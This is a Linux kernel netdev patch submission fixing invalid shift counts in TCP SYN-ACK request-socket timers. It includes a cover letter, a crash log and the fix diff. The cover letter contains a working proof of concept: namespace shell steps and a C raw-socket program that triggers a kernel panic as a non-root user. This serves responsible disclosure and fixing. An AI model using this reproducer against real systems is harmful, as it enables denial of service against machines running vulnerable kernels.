[PATCH net v4 resend 0/1] tcp: bound SYN-ACK timers to reqsk timeout range

[PATCH net v4 resend 0/1] tcp: bound SYN-ACK timers to reqsk timeout range

[Ren Wei]

From: Zhiling Zou <zhilinz@nebusec.ai>

Hi Linux kernel maintainers,

We found and validated an issue in net/ipv4/inet_connection_sock.c.
The bug is reachable by a non-root user via user and net namespace.

We've tested it, and it should not affect normal TCP request socket
timeout handling.

The issue is caused by allowing SYN-ACK timer limits above the range
that request socket timeout backoff can safely consume.

---- details below ----

Bug details:

tcp_synack_retries is exposed through proc_dou8vec_minmax without an
upper bound, so values up to 255 are accepted. The effective request
socket timer limit can also come from TCP_SYNCNT through
icsk_syn_retries, or from TCP_DEFER_ACCEPT through rskq_defer_accept.

The regular request socket timer and the Fast Open SYN-ACK timer use
these limits to decide when a request should expire. However, after
req->num_timeout is incremented, the timer paths use it as a shift
count while computing the next timeout. Excessive retry or
defer-accept limits can therefore drive these timer paths into invalid
shift counts before the request expires. Values beyond the 7-bit
request socket timeout counter can also prevent expiration from being
reached at all.

The attached patch clamps the effective retry and defer-accept limits
in the regular request socket timer path, clamps the Fast Open retry
limit, and makes the request socket timeout helper saturate before
shifting. This keeps sysctl writes unchanged while bounding the timer
calculations.

Reproducer:

    gcc -O2 -Wall -o poc poc.c
    unshare -Urn sh -c '\''
        ip link set lo up
        echo 1 > /proc/sys/kernel/panic_on_warn
        echo 0 > /proc/sys/net/ipv4/tcp_syncookies
        echo 128 > /proc/sys/net/ipv4/tcp_synack_retries
        echo 1000 > /proc/sys/net/ipv4/tcp_rto_max_ms
        ./poc 127.0.0.2 40000 127.0.0.1 12345
    '\''

We ran the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.

------BEGIN poc.c------

#include <arpa/inet.h>
#include <errno.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <unistd.h>

struct pseudo_header {
	uint32_t src_addr;
	uint32_t dst_addr;
	uint8_t zero;
	uint8_t protocol;
	uint16_t tcp_len;
};

static uint16_t checksum(const void *data, size_t len)
{
	const uint16_t *words = data;
	uint32_t sum = 0;

	while (len > 1) {
		sum += *words++;
		len -= 2;
	}

	if (len)
		sum += *(const uint8_t *)words;

	while (sum >> 16)
		sum = (sum & 0xffff) + (sum >> 16);

	return (uint16_t)~sum;
}

int main(int argc, char **argv)
{
	struct sockaddr_in dst = { 0 };
	struct pseudo_header psh = { 0 };
	struct {
		struct iphdr ip;
		struct tcphdr tcp;
	} packet = { 0 };
	unsigned char pseudo_buf[sizeof(psh) + sizeof(packet.tcp)];
	const char *src_ip;
	const char *dst_ip;
	int sock;
	int one = 1;
	long src_port;
	long dst_port;
	ssize_t sent;

	if (argc != 5) {
		fprintf(stderr, "usage: %s <src_ip> <src_port> <dst_ip> <dst_port>\n", argv[0]);
		return 2;
	}

	src_ip = argv[1];
	src_port = strtol(argv[2], NULL, 10);
	dst_ip = argv[3];
	dst_port = strtol(argv[4], NULL, 10);
	if (src_port <= 0 || src_port > 65535 || dst_port <= 0 || dst_port > 65535) {
		fprintf(stderr, "invalid port\n");
		return 2;
	}

	sock = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
	if (sock < 0) {
		perror("socket");
		return 1;
	}

	if (setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &one, sizeof(one)) < 0) {
		perror("setsockopt(IP_HDRINCL)");
		close(sock);
		return 1;
	}

	dst.sin_family = AF_INET;
	dst.sin_port = htons((uint16_t)dst_port);
	if (inet_pton(AF_INET, dst_ip, &dst.sin_addr) != 1) {
		fprintf(stderr, "invalid dst_ip: %s\n", dst_ip);
		close(sock);
		return 2;
	}

	packet.ip.version = 4;
	packet.ip.ihl = sizeof(packet.ip) / 4;
	packet.ip.tos = 0;
	packet.ip.tot_len = htons(sizeof(packet));
	packet.ip.id = htons((uint16_t)getpid());
	packet.ip.frag_off = 0;
	packet.ip.ttl = 64;
	packet.ip.protocol = IPPROTO_TCP;
	if (inet_pton(AF_INET, src_ip, &packet.ip.saddr) != 1) {
		fprintf(stderr, "invalid src_ip: %s\n", src_ip);
		close(sock);
		return 2;
	}
	packet.ip.daddr = dst.sin_addr.s_addr;
	packet.ip.check = checksum(&packet.ip, sizeof(packet.ip));

	packet.tcp.source = htons((uint16_t)src_port);
	packet.tcp.dest = htons((uint16_t)dst_port);
	packet.tcp.seq = htonl(0x12345678);
	packet.tcp.doff = sizeof(packet.tcp) / 4;
	packet.tcp.syn = 1;
	packet.tcp.window = htons(65535);

	psh.src_addr = packet.ip.saddr;
	psh.dst_addr = packet.ip.daddr;
	psh.zero = 0;
	psh.protocol = IPPROTO_TCP;
	psh.tcp_len = htons(sizeof(packet.tcp));
	memcpy(pseudo_buf, &psh, sizeof(psh));
	memcpy(pseudo_buf + sizeof(psh), &packet.tcp, sizeof(packet.tcp));
	packet.tcp.check = checksum(pseudo_buf, sizeof(pseudo_buf));

	sent = sendto(sock, &packet, sizeof(packet), 0,
		      (struct sockaddr *)&dst, sizeof(dst));
	if (sent != (ssize_t)sizeof(packet)) {
		if (sent < 0)
			perror("sendto");
		else
			fprintf(stderr, "short send: %zd\n", sent);
		close(sock);
		return 1;
	}

	close(sock);
	return 0;
}

------END poc.c--------

----BEGIN crash log----

[  463.180218][    C3] Kernel panic - not syncing: UBSAN: panic_on_warn set ...
[  463.181502][    C3] CPU: 3 UID: 0 PID: 0 Comm: swapper/3 Not tainted 7.1.0-rc1 #2 PREEMPT(full)
[  463.182748][    C3] Hardware name: QEMU Ubuntu 24.04 PC (i440FX + PIIX, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[  463.184251][    C3] Call Trace:
[  463.184723][    C3]  <IRQ>
[  463.185125][    C3]  vpanic+0x6c3/0x790
[  463.185795][    C3]  ? __pfx_vpanic+0x10/0x10
[  463.186461][    C3]  ? srso_alias_return_thunk+0x5/0xfbef5
[  463.187264][    C3]  ? __show_trace_log_lvl+0x2f1/0x420
[  463.188052][    C3]  panic+0xca/0xd0
[  463.188605][    C3]  ? __pfx_panic+0x10/0x10
[  463.189281][    C3]  ? srso_alias_return_thunk+0x5/0xfbef5
[  463.190089][    C3]  check_panic_on_warn+0x61/0x80
[  463.190816][    C3]  __ubsan_handle_shift_out_of_bounds+0x1dd/0x2d0
[  463.191774][    C3]  reqsk_timer_handler.cold+0x18/0x26
[  463.192570][    C3]  ? __pfx_reqsk_timer_handler+0x10/0x10
[  463.193389][    C3]  ? srso_alias_return_thunk+0x5/0xfbef5
[  463.194218][    C3]  ? __pfx_reqsk_timer_handler+0x10/0x10
[  463.195181][    C3]  call_timer_fn+0x16b/0x500
[  463.196028][    C3]  ? debug_object_deactivate+0x2e4/0x3b0
[  463.197045][    C3]  ? trace_softirq_raise+0x11a/0x160
[  463.197852][    C3]  ? __pfx_call_timer_fn+0x10/0x10
[  463.198593][    C3]  ? srso_alias_return_thunk+0x5/0xfbef5
[  463.199411][    C3]  ? srso_alias_return_thunk+0x5/0xfbef5
[  463.200213][    C3]  ? rcu_is_watching+0x12/0xc0
[  463.200904][    C3]  ? srso_alias_return_thunk+0x5/0xfbef5
[  463.201763][    C3]  __run_timers+0x5d9/0x9c0
[  463.202468][    C3]  ? __pfx_reqsk_timer_handler+0x10/0x10
[  463.203308][    C3]  ? __pfx___run_timers+0x10/0x10
[  463.204049][    C3]  ? srso_alias_return_thunk+0x5/0xfbef5
[  463.204871][    C3]  ? srso_alias_return_thunk+0x5/0xfbef5
[  463.205704][    C3]  run_timer_base+0xfe/0x170
[  463.206370][    C3]  ? __pfx_run_timer_base+0x10/0x10
[  463.207115][    C3]  ? rcu_is_watching+0x12/0xc0
[  463.207809][    C3]  ? srso_alias_return_thunk+0x5/0xfbef5
[  463.208619][    C3]  run_timer_softirq+0x10/0x30
[  463.209311][    C3]  handle_softirqs+0x1ef/0xa00
[  463.210022][    C3]  ? __pfx_handle_softirqs+0x10/0x10
[  463.210788][    C3]  ? srso_alias_return_thunk+0x5/0xfbef5
[  463.211590][    C3]  __irq_exit_rcu+0x169/0x210
[  463.212281][    C3]  irq_exit_rcu+0xe/0x30
[  463.212885][    C3]  sysvec_apic_timer_interrupt+0xa3/0xc0
[  463.213688][    C3]  </IRQ>
[  463.214105][    C3]  <TASK>
[  463.214538][    C3]  asm_sysvec_apic_timer_interrupt+0x1a/0x20
[  463.215398][    C3] RIP: pv_native_safe_halt+0xf/0x20
[  463.216189][    C3] Code: 77 5b 02 e9 de d9 80 f6 0f 1f 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 f3 0f 1e fa eb 07 0f 00 2d d3 32 1a 00 fb f4 <e9> b7 d9 80 f6 66 2e 0f 1f 84 00 00 00 00 00 66 90 90 90 90 90 90
All code
========
   0:	77 5b                	ja     0x5d
   2:	02 e9                	add    %cl,%ch
   4:	de d9                	fcompp
   6:	80 f6 0f             	xor    $0xf,%dh
   9:	1f                   	(bad)
   a:	00 90 90 90 90 90    	add    %dl,-0x6f6f6f70(%rax)
  10:	90                   	nop
  11:	90                   	nop
  12:	90                   	nop
  13:	90                   	nop
  14:	90                   	nop
  15:	90                   	nop
  16:	90                   	nop
  17:	90                   	nop
  18:	90                   	nop
  19:	90                   	nop
  1a:	90                   	nop
  1b:	f3 0f 1e fa          	endbr64
  1f:	eb 07                	jmp    0x28
  21:	0f 00 2d d3 32 1a 00 	verw   0x1a32d3(%rip)        # 0x1a32fb
  28:	fb                   	sti
  29:	f4                   	hlt
  2a:*	e9 b7 d9 80 f6       	jmp    0xfffffffff680d9e6		<-- trapping instruction
  2f:	66 2e 0f 1f 84 00 00 	cs nopw 0x0(%rax,%rax,1)
  36:	00 00 00 
  39:	66 90                	xchg   %ax,%ax
  3b:	90                   	nop
  3c:	90                   	nop
  3d:	90                   	nop
  3e:	90                   	nop
  3f:	90                   	nop

Code starting with the faulting instruction
===========================================
   0:	e9 b7 d9 80 f6       	jmp    0xfffffffff680d9bc
   5:	66 2e 0f 1f 84 00 00 	cs nopw 0x0(%rax,%rax,1)
   c:	00 00 00 
   f:	66 90                	xchg   %ax,%ax
  11:	90                   	nop
  12:	90                   	nop
  13:	90                   	nop
  14:	90                   	nop
  15:	90                   	nop
[  463.218880][    C3] RSP: 0018:ffa000000017fdf0 EFLAGS: 00000202
[  463.219748][    C3] RAX: 00000000001a917f RBX: ff110001036c25c0 RCX: ffffffff8a8f7fa5
[  463.220859][    C3] RDX: 0000000000000000 RSI: ffffffff8cc14de4 RDI: ffffffff8b0f3640
[  463.221969][    C3] RBP: 0000000000000000 R08: 0000000000000001 R09: ffe21c0022fb67ed
[  463.223076][    C3] R10: ff11000117db3f6b R11: 0000000000000072 R12: 0000000000000003
[  463.224187][    C3] R13: ffe21c00206d84b8 R14: 0000000000000003 R15: ffffffff90914550
[  463.225338][    C3]  ? ct_kernel_exit+0x125/0x180
[  463.226067][    C3]  default_idle+0x9/0x10
[  463.226686][    C3]  default_idle_call+0x6c/0xb0
[  463.227379][    C3]  do_idle+0x469/0x590
[  463.227983][    C3]  ? __pfx_do_idle+0x10/0x10
[  463.228645][    C3]  ? finish_task_switch.isra.0+0x151/0x1050
[  463.229524][    C3]  cpu_startup_entry+0x54/0x60
[  463.230222][    C3]  start_secondary+0x213/0x2b0
[  463.230905][    C3]  ? __pfx_start_secondary+0x10/0x10
[  463.231687][    C3]  common_startup_64+0x13e/0x148
[  463.232457][    C3]  </TASK>
[  463.233555][    C3] Kernel Offset: disabled
[  463.234244][    C3] Rebooting in 86400 seconds..

-----END crash log-----

Best regards,
Zhiling Zou

Zhiling Zou (1):
  tcp: bound SYN-ACK timers to reqsk timeout range

 include/net/tcp.h               | 19 +++++++++++++++----
 net/ipv4/inet_connection_sock.c |  6 +++++-
 net/ipv4/tcp_timer.c            |  3 ++-
 3 files changed, 22 insertions(+), 6 deletions(-)

-- 
2.43.0

[PATCH net v4 resend 1/1] tcp: bound SYN-ACK timers to reqsk timeout range

[Ren Wei]

From: Zhiling Zou <zhilinz@nebusec.ai>

tcp_synack_retries supplies the SYN-ACK retry limit used by request
socket timers. The same effective limit can also come from TCP_SYNCNT
through icsk_syn_retries, while TCP_DEFER_ACCEPT can keep an ACKed
request alive until rskq_defer_accept is reached.

The request socket timeout counter is incremented before it is used to
compute the next timeout. tcp_reqsk_timeout() and the Fast Open SYN-ACK
timer shift req->timeout by req->num_timeout. Excessive retry or
defer-accept limits can therefore drive these timer paths into invalid
shift counts before the request expires.

Clamp the effective retry and defer-accept limits in the regular
request socket timer path, clamp the Fast Open retry limit, and make
the request socket timeout helper saturate before shifting. This keeps
sysctl writes unchanged while bounding the timer calculations.

Fixes: 1da177e4c3f4 ("Linux-2.6.12-rc2")
Cc: stable@vger.kernel.org
Reported-by: Vega <vega@nebusec.ai>
Assisted-by: Codex:gpt-5.4
Signed-off-by: Zhiling Zou <zhilinz@nebusec.ai>
Signed-off-by: Ren Wei <enjou1224z@gmail.com>
---
Changes in v4:
  - Drop the tcp_synack_retries sysctl maximum to preserve existing
    user-space behavior, and keep the runtime clamps at the timer usage
    sites.
  - v3 Link: https://lore.kernel.org/all/20260702095324.2995243-1-n05ec@lzu.edu.cn/

Changes in v3:
  - Order local variables in tcp_reqsk_timeout_sk() by reverse Christmas
    tree.
  - v2 Link: https://lore.kernel.org/all/20260630035009.55201-1-n05ec@lzu.edu.cn/

Changes in v2:
  - Keep the existing max_retries calculation in
    tcp_fastopen_synack_timer() and only add the clamp, avoiding code
    churn.
  - v1 Link: https://lore.kernel.org/all/02e24eb83639e9d7ecc623f000c60254bb5c40a5.1782643946.git.roxy520tt@gmail.com/

 include/net/tcp.h               | 19 +++++++++++++++----
 net/ipv4/inet_connection_sock.c |  6 +++++-
 net/ipv4/tcp_timer.c            |  3 ++-
 3 files changed, 22 insertions(+), 6 deletions(-)

diff --git a/include/net/tcp.h b/include/net/tcp.h
index 6d376ea4d1c0..ee78436b8964 100644
--- a/include/net/tcp.h
+++ b/include/net/tcp.h
@@ -183,6 +183,7 @@ static_assert((1 << ATO_BITS) > TCP_DELACK_MAX);
 #define MAX_TCP_KEEPINTVL	32767
 #define MAX_TCP_KEEPCNT		127
 #define MAX_TCP_SYNCNT		127
+#define MAX_TCP_SYNACK_RETRIES	63
 
 /* Ensure that TCP PAWS checks are relaxed after ~2147 seconds
  * to avoid overflows. This assumes a clock smaller than 1 Mhz.
@@ -882,12 +883,22 @@ static inline u32 __tcp_set_rto(const struct tcp_sock *tp)
 	return usecs_to_jiffies((tp->srtt_us >> 3) + tp->rttvar_us);
 }
 
-static inline unsigned long tcp_reqsk_timeout(struct request_sock *req)
+static inline unsigned long tcp_reqsk_timeout_sk(const struct sock *sk,
+						 struct request_sock *req)
 {
-	u64 timeout = (u64)req->timeout << req->num_timeout;
+	u32 rto_max = tcp_rto_max(sk);
+	u64 timeout = req->timeout;
+
+	if (req->num_timeout >= BITS_PER_TYPE(u64) ||
+	    timeout > U64_MAX >> req->num_timeout)
+		return rto_max;
+
+	return (unsigned long)min_t(u64, timeout << req->num_timeout, rto_max);
+}
 
-	return (unsigned long)min_t(u64, timeout,
-				    tcp_rto_max(req->rsk_listener));
+static inline unsigned long tcp_reqsk_timeout(struct request_sock *req)
+{
+	return tcp_reqsk_timeout_sk(req->rsk_listener, req);
 }
 
 u32 tcp_delack_max(const struct sock *sk);
diff --git a/net/ipv4/inet_connection_sock.c b/net/ipv4/inet_connection_sock.c
index 56902bba5483..b74212bae3dd 100644
--- a/net/ipv4/inet_connection_sock.c
+++ b/net/ipv4/inet_connection_sock.c
@@ -1056,6 +1056,8 @@ static void reqsk_timer_handler(struct timer_list *t)
 	net = sock_net(sk_listener);
 	max_syn_ack_retries = READ_ONCE(icsk->icsk_syn_retries) ? :
 		READ_ONCE(net->ipv4.sysctl_tcp_synack_retries);
+	max_syn_ack_retries = min_t(int, max_syn_ack_retries,
+				    MAX_TCP_SYNACK_RETRIES);
 	/* Normally all the openreqs are young and become mature
 	 * (i.e. converted to established socket) for first timeout.
 	 * If synack was not acknowledged for 1 second, it means
@@ -1086,7 +1088,9 @@ static void reqsk_timer_handler(struct timer_list *t)
 		}
 	}
 
-	syn_ack_recalc(req, max_syn_ack_retries, READ_ONCE(queue->rskq_defer_accept),
+	syn_ack_recalc(req, max_syn_ack_retries,
+		       min_t(u8, READ_ONCE(queue->rskq_defer_accept),
+			     MAX_TCP_SYNACK_RETRIES),
 		       &expire, &resend);
 	tcp_syn_ack_timeout(req);
 
diff --git a/net/ipv4/tcp_timer.c b/net/ipv4/tcp_timer.c
index bf171b5e1eb3..bbedf2b9e1bc 100644
--- a/net/ipv4/tcp_timer.c
+++ b/net/ipv4/tcp_timer.c
@@ -467,6 +467,7 @@ static void tcp_fastopen_synack_timer(struct sock *sk, struct request_sock *req)
 	 */
 	max_retries = READ_ONCE(icsk->icsk_syn_retries) ? :
 		READ_ONCE(sock_net(sk)->ipv4.sysctl_tcp_synack_retries) + 1;
+	max_retries = min_t(int, max_retries, MAX_TCP_SYNACK_RETRIES);
 
 	if (req->num_timeout >= max_retries) {
 		tcp_write_err(sk);
@@ -488,7 +489,7 @@ static void tcp_fastopen_synack_timer(struct sock *sk, struct request_sock *req)
 	if (!tp->retrans_stamp)
 		tp->retrans_stamp = tcp_time_stamp_ts(tp);
 	tcp_reset_xmit_timer(sk, ICSK_TIME_RETRANS,
-			  req->timeout << req->num_timeout, false);
+			     tcp_reqsk_timeout_sk(sk, req), false);
 }
 
 static bool tcp_rtx_probe0_timed_out(const struct sock *sk,
-- 
2.43.0